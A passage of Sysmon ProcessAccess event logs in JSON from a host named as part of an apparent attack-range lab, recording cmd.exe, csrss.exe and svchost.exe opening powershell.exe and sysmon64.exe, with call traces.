C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-413F-5F2D-0000-0010C6750600}","SourceProcessId":"4596","SourceThreadId":"3832","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00108F760600}","TargetProcessId":"4408","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00108F760600}\r\nTargetProcessId: 4408\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00108F760600}","TargetProcessId":"4408","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 